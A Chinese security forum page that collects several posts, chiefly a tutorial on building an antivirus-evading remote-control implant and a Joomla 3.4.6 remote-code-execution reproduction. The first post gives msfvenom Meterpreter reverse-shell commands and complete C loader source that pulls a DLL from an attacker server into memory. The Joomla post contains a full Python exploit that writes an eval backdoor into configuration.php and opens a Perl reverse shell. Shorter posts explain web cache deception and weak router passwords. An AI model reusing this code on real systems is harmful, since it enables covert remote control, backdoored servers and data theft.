利用反射DLL制作免杀远控

渗透测试wuyou 发表了文章 • 0 个评论 • 1132 次浏览 • 2020-02-06 20:46 • 来自相关话题

什么是DLL
百度词条:




简而言之:DLL是帮助程序实现模块化的资源库,我们在打开exe程序时,会调用很多的DLL,以此来实现程序的全部功能
举个例子:使用进程监视器监控C:\Windows\System32\WinSAT.exe的启动过程:




 
DLL劫持
如果我们将系统自带的exe所需调用的DLL替换为我们自己的恶意DLL,或注入恶意代码,就可以实现许多有趣的效果
例如,替换掉explorer.exe(资源管理器)的linkinfo.dll,我们就可以实现持久化控制(开机自启)
再比如,替换掉WinSAT.exe这类权限自动提升的exe所需调用的DLL,就可以实现BypassUAC
而且,如果防守方察觉到目标被控制,查看进程时也只会看到一堆系统自带的exe,而不会出现真实的恶意资源(这就是进程注入或DLL注入的效果)
 
反射DLL
Windows操作系统在执行一个Windows PE格式的文件时,Windows自身是有一个Windows PE格式的解析器,通过PE格式把文件的各个节放入不同的内存区域。
接下来拓展一下思维,可不可以将具有恶意Payload的远控DLL放在我们的远控服务器上,当目标执行我们的无恶意Payload的exe时,自动获取服务器上的恶意DLL,并直接加载入内存中执行
这样就可以实现无文件落地,无进程执行的效果
 
制作远控程序
这里采用倾旋的制作方法:
生成一个恶意DLL:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=8899 -f dll -o ~/a.dll用msf开启后台监听上线msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.107 -P 8899开启msf的dll发射器msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/patchupdllinject/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.107
msf5 exploit(multi/handler) > set lport 8080
msf5 exploit(multi/handler) > set dll a.dll
msf5 exploit(multi/handler) > exploit -j
然后开始制作接受器:
打开Visual Studio(我的版本是2019,版本无所谓),并创建一个空项目




将MemoryModule项目中的MemoryModule.c和MemoryModule.h项目保存到本地




在项目中添加上面的两个文件,并新建source.c文件




编辑source.c文件,替换IP和端口为你设置的(原作者在源码的第7行埋了坑,定义错了payload_size的大小,如果不修复,程序无法执行,下面的代码为修复过的)
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"
#pragma comment(lib,"ws2_32.lib")

#define PAYLOAD_SIZE 1024*5120
typedef BOOL (*Module)(HMODULE hModule, DWORD ul_reason_for_call , LPVOID lpReserved);

typedef VOID (*msg)(VOID);
PBYTE bFileBuffer = NULL;


BOOL GetPEDLL(){

DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SHORT sListenPort = 8080;
struct sockaddr_in sin;

if (WSAStartup(sockVersion, &wsaData) != 0)
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n",dwError);
return FALSE;
}

socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (socks == INVALID_SOCKET)
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n",dwError);
return FALSE;
}

sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.1.107");

if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n",dwError);
return FALSE;
}

int ret = 0;
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,2650,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);

ZeroMemory(bFileBuffer,PAYLOAD_SIZE);


ret = recv(socks,(PCHAR)bFileBuffer,5120,NULL);

if (ret > 0)
{
closesocket(socks);
}


return TRUE;
}

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName){
DWORD dwHighFileSize = 0;
DWORD dwLowFileSize = 0;
// 打开文件
hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL);
if(hBadCodeDll == INVALID_HANDLE_VALUE){
return GetLastError();
}
dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize);
return dwLowFileSize;
}


int main()
{

HMEMORYMODULE hModule;
Module DllMain;
bFileBuffer = new BYTE[PAYLOAD_SIZE];
GetPEDLL();
// 导入PE文件
hModule = MemoryLoadLibrary(bFileBuffer);
// 如果加载失败,就退出
if(hModule == NULL){
delete [] bFileBuffer;
return -1;
}
// 获取msg导出函数地址
DllMain = (Module)MemoryGetProcAddress(hModule,"DllMain");
// 运行msg函数
DllMain(0,0,0);
// 释放资源
DWORD dwThread;
HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)DllMain,NULL,NULL,&dwThread);

WaitForSingleObject(hThread,INFINITE);

MemoryFreeLibrary(hModule);
// 释放PE内存
delete [] bFileBuffer;
return GetLastError();
}编辑项目属性,修改附加包含目录为你存放MemoryModule.h的目录,并修改SDL检测为否




以64位平台生成程序








运行生成的exe




V站查杀效果




  查看全部
什么是DLL
百度词条:
1.jpg

简而言之:DLL是帮助程序实现模块化的资源库,我们在打开exe程序时,会调用很多的DLL,以此来实现程序的全部功能
举个例子:使用进程监视器监控C:\Windows\System32\WinSAT.exe的启动过程:
22.jpg

 
DLL劫持
如果我们将系统自带的exe所需调用的DLL替换为我们自己的恶意DLL,或注入恶意代码,就可以实现许多有趣的效果
例如,替换掉explorer.exe(资源管理器)的linkinfo.dll,我们就可以实现持久化控制(开机自启)
再比如,替换掉WinSAT.exe这类权限自动提升的exe所需调用的DLL,就可以实现BypassUAC
而且,如果防守方察觉到目标被控制,查看进程时也只会看到一堆系统自带的exe,而不会出现真实的恶意资源(这就是进程注入或DLL注入的效果)
 
反射DLL
Windows操作系统在执行一个Windows PE格式的文件时,Windows自身是有一个Windows PE格式的解析器,通过PE格式把文件的各个节放入不同的内存区域。
接下来拓展一下思维,可不可以将具有恶意Payload的远控DLL放在我们的远控服务器上,当目标执行我们的无恶意Payload的exe时,自动获取服务器上的恶意DLL,并直接加载入内存中执行
这样就可以实现无文件落地,无进程执行的效果
 
制作远控程序
这里采用倾旋的制作方法
生成一个恶意DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=8899 -f dll -o ~/a.dll
用msf开启后台监听上线
msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.107 -P 8899
开启msf的dll发射器
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/patchupdllinject/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.107
msf5 exploit(multi/handler) > set lport 8080
msf5 exploit(multi/handler) > set dll a.dll
msf5 exploit(multi/handler) > exploit -j

然后开始制作接受器:
打开Visual Studio(我的版本是2019,版本无所谓),并创建一个空项目
44.jpg

MemoryModule项目中的MemoryModule.cMemoryModule.h项目保存到本地
55.jpg

在项目中添加上面的两个文件,并新建source.c文件
66.jpg

编辑source.c文件,替换IP和端口为你设置的(原作者在源码的第7行埋了坑,定义错了payload_size的大小,如果不修复,程序无法执行,下面的代码为修复过的)

#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"
#pragma comment(lib,"ws2_32.lib")

#define PAYLOAD_SIZE 1024*5120
typedef BOOL (*Module)(HMODULE hModule, DWORD ul_reason_for_call , LPVOID lpReserved);

typedef VOID (*msg)(VOID);
PBYTE bFileBuffer = NULL;


BOOL GetPEDLL(){

DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SHORT sListenPort = 8080;
struct sockaddr_in sin;

if (WSAStartup(sockVersion, &wsaData) != 0)
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n",dwError);
return FALSE;
}

socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (socks == INVALID_SOCKET)
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n",dwError);
return FALSE;
}

sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.1.107");

if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n",dwError);
return FALSE;
}

int ret = 0;
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,2650,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);

ZeroMemory(bFileBuffer,PAYLOAD_SIZE);


ret = recv(socks,(PCHAR)bFileBuffer,5120,NULL);

if (ret > 0)
{
closesocket(socks);
}


return TRUE;
}

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName){
DWORD dwHighFileSize = 0;
DWORD dwLowFileSize = 0;
// 打开文件
hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL);
if(hBadCodeDll == INVALID_HANDLE_VALUE){
return GetLastError();
}
dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize);
return dwLowFileSize;
}


int main()
{

HMEMORYMODULE hModule;
Module DllMain;
bFileBuffer = new BYTE[PAYLOAD_SIZE];
GetPEDLL();
// 导入PE文件
hModule = MemoryLoadLibrary(bFileBuffer);
// 如果加载失败,就退出
if(hModule == NULL){
delete [] bFileBuffer;
return -1;
}
// 获取msg导出函数地址
DllMain = (Module)MemoryGetProcAddress(hModule,"DllMain");
// 运行msg函数
DllMain(0,0,0);
// 释放资源
DWORD dwThread;
HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)DllMain,NULL,NULL,&dwThread);

WaitForSingleObject(hThread,INFINITE);

MemoryFreeLibrary(hModule);
// 释放PE内存
delete [] bFileBuffer;
return GetLastError();
}
编辑项目属性,修改附加包含目录为你存放MemoryModule.h的目录,并修改SDL检测为否
77.jpg

以64位平台生成程序
88.jpg

99.jpg

运行生成的exe
1010.jpg

V站查杀效果

12.jpg

 

赛克艾威漏洞预警(1月18-1月24号)

漏洞预警ypk 发表了文章 • 0 个评论 • 227 次浏览 • 2020-01-24 11:41 • 来自相关话题

赛克艾威漏洞预警(1月11-1月17号)

漏洞预警ypk 发表了文章 • 0 个评论 • 267 次浏览 • 2020-01-17 18:50 • 来自相关话题

测试测试测试测试测试

回复

编程ypk 发起了问题 • 1 人关注 • 0 个回复 • 398 次浏览 • 2020-01-13 11:08 • 来自相关话题

赛克艾威漏洞预警(1月4-1月10号)

漏洞预警ypk 发表了文章 • 0 个评论 • 267 次浏览 • 2020-01-10 15:41 • 来自相关话题

企业安全意识的重要性

渗透实战分享zksmile 发表了文章 • 1 个评论 • 593 次浏览 • 2020-01-09 14:02 • 来自相关话题

现在各大商圈、写字楼wifi非常密集。如果企业不对自己的wifi进行划分,或者企业员工没有安全意识的话,很有可能因为一些细节造成巨大的损失。
 
很多员工个人手机上会安装wifI万能钥匙、wifi管家等这些破解工具。在使用这些工具便利的同时,也会带来一定的风险。





 
首先使用wifi万能钥匙连上目标。早期的万能钥匙连接上之后,在分享他人功能的这个地方会生成一个二维码,其他人使用wifi万能钥匙扫描就可以连接,如果你拿微信去扫描二维码的时候就会显示出来wifi的密码(毕竟就是这样蹭邻居网的)
 
现在处于安全的原因,没办法直接得到wifi密码。
 
iphone跟mac有一个共享wifi密码的功能,手机连接上之后,这个时候你的mac去连同一个wifi的时候就可以直接共享密码链接(虽然手机也可以访问路由器,但是毕竟后续工作不太方便)






如果wifi万能钥匙泄露wifi密码责任追究到员工身上,那么路由器弱口令就应该是网管的问题了。
 
访问路由web地址。admin admin直接登录









 
打印机





 
  查看全部
现在各大商圈、写字楼wifi非常密集。如果企业不对自己的wifi进行划分,或者企业员工没有安全意识的话,很有可能因为一些细节造成巨大的损失。
 
很多员工个人手机上会安装wifI万能钥匙、wifi管家等这些破解工具。在使用这些工具便利的同时,也会带来一定的风险。

CC60DEF1-1290-4E2B-B8F2-FF7980CB38E2.png

 
首先使用wifi万能钥匙连上目标。早期的万能钥匙连接上之后,在分享他人功能的这个地方会生成一个二维码,其他人使用wifi万能钥匙扫描就可以连接,如果你拿微信去扫描二维码的时候就会显示出来wifi的密码(毕竟就是这样蹭邻居网的)
 
现在处于安全的原因,没办法直接得到wifi密码。
 
iphone跟mac有一个共享wifi密码的功能,手机连接上之后,这个时候你的mac去连同一个wifi的时候就可以直接共享密码链接(虽然手机也可以访问路由器,但是毕竟后续工作不太方便)

6960C1CD-23E1-4A6A-833A-1E4E717EB772.png


如果wifi万能钥匙泄露wifi密码责任追究到员工身上,那么路由器弱口令就应该是网管的问题了。
 
访问路由web地址。admin admin直接登录
52DE7429-9AFA-4A4B-90D9-FE2D550483B1.png


0D967948-5136-4C00-8A51-820C7166E72B.png

 
打印机

BE47000D-D96D-4714-BFD7-76CE5260C6B9.png

 
 

web缓存欺骗

Web安全渗透heyha 发表了文章 • 0 个评论 • 380 次浏览 • 2020-01-08 15:59 • 来自相关话题

介绍
 
        先看一下什么是缓存
 
       大多数网站为了使网页加载速度变快从而为用户提供更好的用户体验,都使用了网页缓存,这些缓存的机制是将应用程序的文件存储在缓存服务上,在用户发起请求时进行频繁的检索。
        最常见的一些需要缓存的文件都是静态文件,比如.css,.js,.txt以及图片文件。实现缓存的方式也有很多,比如浏览器自身就会进行缓存,但是这种缓存并不能进行Web缓存欺骗攻击。但是另外一些在浏览器与web服务器之间实现缓存的方式则可能存在这种安全漏洞。
      
       缓存是如何工作的?
 
       回顾了不同形式的缓存机制后,现在,我们来看看Web缓存实际上是如何工作的。 在以下示例中,http://www.example.com网站由反向代理提供缓存服务。 像其他任何网站一样,这个网站使用了图片,CSS文件和脚本作为公开使用的资源。 这些文件网站中所有或许多用户所使用的静态文件,并且对所有用户返回了完全相同的内容。 它们不包含任何用户信息,因此不会被认为是敏感的文件。
 
       第一次访问静态文件时,请求会通过代理服务。 缓存机制并不熟悉这个文件,于是它会询问Web服务器,Web服务器返回了该文件。 现在,缓存机制需要识别接收到的文件的类型。 每个缓存机制的工作方式不同,但是在大多数情况下,服务器是从URL的尾端来获取文件的扩展名,然后根据该缓存机制的缓存规则来决定是否缓存这个文件。
 
       如果文件被缓存了,那么下一次当有任何一个客户端请求该文件时,缓存机制由于已经存储了这个文件,所以它会把缓存的文件内容发送给客户端而不需要去请求Web服务器。
 
      攻击原理
 
 
未经过身份验证的攻击者可以轻松的利用此漏洞,攻击步骤如下面所示:

1.攻击者诱使已经登录的用户访问xxx/my.php/1.css

2.受害者的浏览器请求xxx/my.php/1.css

3.请求到达代理,代理服务并不熟悉该文件,因此会请求Web服务器。

4. Web服务器返回受害者的帐户页面的内容,并显示200 OK响应,这意味着URL保持不变。

5.缓存机制接收到文件同时发现URL以静态文件的扩展名(.css)结尾。因为该缓存机制被配置为缓存所有静态文件并忽略任何缓存头,所以1.css文件会被缓存。名为1.css的新目录是在缓存目录中创建的,被缓存的文件名称为1.css。

6.用户接收到他的帐户页面。

7.攻击者访问xxx/my.php/1.css。请求到达代理服务器,代理服务器直接将受害者的缓存帐户页面返回给了攻击者的浏览器。
 
漏洞演示











两个页面url不同但是回显的内容是一样的
 
此时切换浏览器未登录直接访问   127.0.0.1/my.php/1.css





 
访问到了其他用户的数据
 
漏洞危害及利用 
      访问xxx/my.php/1.css 页面时, Web服务器返回了该my.php的内容

服务器的缓存机制通过url中的扩展名来判断是否进行缓存文件,并且忽略任何缓存头。

受害者必须访问过了xxx/my.php/1.css 这种页面,也就是说受害者已经将my.php的内容缓存到了缓存服务器上。
 
       此外还需要结合社工的方法,诱使登入网站的用户特别是有权限的用户(管理员)等,访问http://victim.com/my.php/静态资源 这种形式的链接。
       攻击者通过这种攻击,可以获取到受害者的账户等敏感信息。
 
总结
       Web缓存欺骗是一种不仅易于执行的攻击,而且可能会因为暴露用户的个人信息而遭受更严重的后果,而攻击者则可以控制用户的帐户。一些知名的网站也很容易受到这种攻击;大多数这些网站由最常见的CDN提供缓存服务。可以肯定的是,仍有许多网站可能成为受害者。
       虽然本白皮书仅涉及了可以满足Web缓存欺骗攻击条件的有限技术的范例,但还有各种其他Web框架和缓存机制,可以为攻击者提供类似的机会来执行攻击。
       为这个漏洞创造利用条件的Web框架和缓存机制本身并不脆弱;主要问题还是不正确的配置所导致的。
       为了防止网络缓存欺骗攻击,技术人员应首先了解可以执行此攻击所需要的条件。此外,建议供应商努力防止其产品满足这些攻击条件。这可以通过禁用一些功能,更改默认设置和行为以及提供警告来提高技术人员的意识来实现。
 
 
参考
https://blog.csdn.net/u010726042/article/details/77833973
https://www.freebuf.com/articles/web/161670.html
PayPal实战参考:https://cloud.tencent.com/developer/article/1516385
 
 
  查看全部
介绍
 
        先看一下什么是缓存
 
       大多数网站为了使网页加载速度变快从而为用户提供更好的用户体验,都使用了网页缓存,这些缓存的机制是将应用程序的文件存储在缓存服务上,在用户发起请求时进行频繁的检索。
        最常见的一些需要缓存的文件都是静态文件,比如.css,.js,.txt以及图片文件。实现缓存的方式也有很多,比如浏览器自身就会进行缓存,但是这种缓存并不能进行Web缓存欺骗攻击。但是另外一些在浏览器与web服务器之间实现缓存的方式则可能存在这种安全漏洞。
      
       缓存是如何工作的?
 
       回顾了不同形式的缓存机制后,现在,我们来看看Web缓存实际上是如何工作的。 在以下示例中,http://www.example.com网站由反向代理提供缓存服务。 像其他任何网站一样,这个网站使用了图片,CSS文件和脚本作为公开使用的资源。 这些文件网站中所有或许多用户所使用的静态文件,并且对所有用户返回了完全相同的内容。 它们不包含任何用户信息,因此不会被认为是敏感的文件。
 
       第一次访问静态文件时,请求会通过代理服务。 缓存机制并不熟悉这个文件,于是它会询问Web服务器,Web服务器返回了该文件。 现在,缓存机制需要识别接收到的文件的类型。 每个缓存机制的工作方式不同,但是在大多数情况下,服务器是从URL的尾端来获取文件的扩展名,然后根据该缓存机制的缓存规则来决定是否缓存这个文件。
 
       如果文件被缓存了,那么下一次当有任何一个客户端请求该文件时,缓存机制由于已经存储了这个文件,所以它会把缓存的文件内容发送给客户端而不需要去请求Web服务器。
 
      攻击原理
 
 
未经过身份验证的攻击者可以轻松的利用此漏洞,攻击步骤如下面所示:

1.攻击者诱使已经登录的用户访问xxx/my.php/1.css

2.受害者的浏览器请求xxx/my.php/1.css

3.请求到达代理,代理服务并不熟悉该文件,因此会请求Web服务器。

4. Web服务器返回受害者的帐户页面的内容,并显示200 OK响应,这意味着URL保持不变。

5.缓存机制接收到文件同时发现URL以静态文件的扩展名(.css)结尾。因为该缓存机制被配置为缓存所有静态文件并忽略任何缓存头,所以1.css文件会被缓存。名为1.css的新目录是在缓存目录中创建的,被缓存的文件名称为1.css。

6.用户接收到他的帐户页面。

7.攻击者访问xxx/my.php/1.css。请求到达代理服务器,代理服务器直接将受害者的缓存帐户页面返回给了攻击者的浏览器。
 
漏洞演示

11111.png


22222.png


两个页面url不同但是回显的内容是一样的
 
此时切换浏览器未登录直接访问   127.0.0.1/my.php/1.css

33333.png

 
访问到了其他用户的数据
 
漏洞危害及利用 
      
访问xxx/my.php/1.css 页面时, Web服务器返回了该my.php的内容

服务器的缓存机制通过url中的扩展名来判断是否进行缓存文件,并且忽略任何缓存头。

受害者必须访问过了xxx/my.php/1.css 这种页面,也就是说受害者已经将my.php的内容缓存到了缓存服务器上。

 
       此外还需要结合社工的方法,诱使登入网站的用户特别是有权限的用户(管理员)等,访问http://victim.com/my.php/静态资源 这种形式的链接。
       攻击者通过这种攻击,可以获取到受害者的账户等敏感信息。
 
总结
       Web缓存欺骗是一种不仅易于执行的攻击,而且可能会因为暴露用户的个人信息而遭受更严重的后果,而攻击者则可以控制用户的帐户。一些知名的网站也很容易受到这种攻击;大多数这些网站由最常见的CDN提供缓存服务。可以肯定的是,仍有许多网站可能成为受害者。
       虽然本白皮书仅涉及了可以满足Web缓存欺骗攻击条件的有限技术的范例,但还有各种其他Web框架和缓存机制,可以为攻击者提供类似的机会来执行攻击。
       为这个漏洞创造利用条件的Web框架和缓存机制本身并不脆弱;主要问题还是不正确的配置所导致的。
       为了防止网络缓存欺骗攻击,技术人员应首先了解可以执行此攻击所需要的条件。此外,建议供应商努力防止其产品满足这些攻击条件。这可以通过禁用一些功能,更改默认设置和行为以及提供警告来提高技术人员的意识来实现。
 
 
参考
https://blog.csdn.net/u010726042/article/details/77833973
https://www.freebuf.com/articles/web/161670.html
PayPal实战参考:https://cloud.tencent.com/developer/article/1516385
 
 
 

Joomla 3.4.6远程代码执行(RCE)漏洞复现

Web安全渗透input 发表了文章 • 0 个评论 • 394 次浏览 • 2020-01-03 10:42 • 来自相关话题

一 . joomlaCMS简介
joomla是一套全球知名的内容管理系统, 是使用PHP语言加上MYSQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖
二 . 漏洞简介
该漏洞在2019年10月8日漏洞公开,漏洞位于根目录下的configuration.php,是由于该CMS对函数过滤不严,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。
三 . 影响版本
3.0.0——3.4.6
 
四 . 环境搭建
直接使用PHPtudy 搭建,joomla 3.4.6下载地址:https://downloads.joomla.org/cms/joomla3/3-4-6,直接解压到WWW目录下,直接访问http://127.0.0.1/joomla3.4.6/ 进入安装界面,按照步骤进行安装。





 
安装成功后的界面如图





 
五 . 漏洞复现
该漏洞的利用比较简单,首先用脚本进行漏洞检测
脚本如下
#!/usr/bin/env python3
 
import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored
 
init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
 
def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))
 
 
backdoor_param = random_string(50)
 
def print_info(str):
        print(colored("[*] " + str,"cyan"))
 
def print_ok(str):
        print(colored("[+] "+ str,"green"))
 
def print_error(str):
        print(colored("[-] "+ str,"red"))
 
def print_warning(str):
        print(colored("[!!] " + str,"yellow"))
 
def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf
 
 
def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True
 
 
def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies
 
 
def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)
 
        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
 
        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }
 
        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text
 
def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request
 
        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False
 
def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False
 
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
 
 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())
 
        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')
 
        else:
                print_error('Seems NOT Vulnerable ;/')


如果检测结果中有 "Vulnerable" 这个字符串,则说漏洞存在





 
之后就可以进行漏洞的利用了,执行脚本插入一句话木马如图: -l 是服务器ip -p 是随意一个未被占用的端口





 
进入configration.php 查看一句木马是否插入成功





 
如图插入成功 ,用菜刀尝试连接
url:http://127.0.0.1/joomla3.4.6//configuration.php
密码为生成的随机值:cpfdbhjnildsblnnowyosoawezaupqwevpahznwjmeyzejuktl





 
连接成功 查看全部
一 . joomlaCMS简介
joomla是一套全球知名的内容管理系统, 是使用PHP语言加上MYSQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖
二 . 漏洞简介
该漏洞在2019年10月8日漏洞公开,漏洞位于根目录下的configuration.php,是由于该CMS对函数过滤不严,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。
三 . 影响版本
3.0.0——3.4.6
 
四 . 环境搭建
直接使用PHPtudy 搭建,joomla 3.4.6下载地址:https://downloads.joomla.org/cms/joomla3/3-4-6,直接解压到WWW目录下,直接访问http://127.0.0.1/joomla3.4.6/ 进入安装界面,按照步骤进行安装。

3.png

 
安装成功后的界面如图

1.png

 
五 . 漏洞复现
该漏洞的利用比较简单,首先用脚本进行漏洞检测
脚本如下
#!/usr/bin/env python3
 
import requests
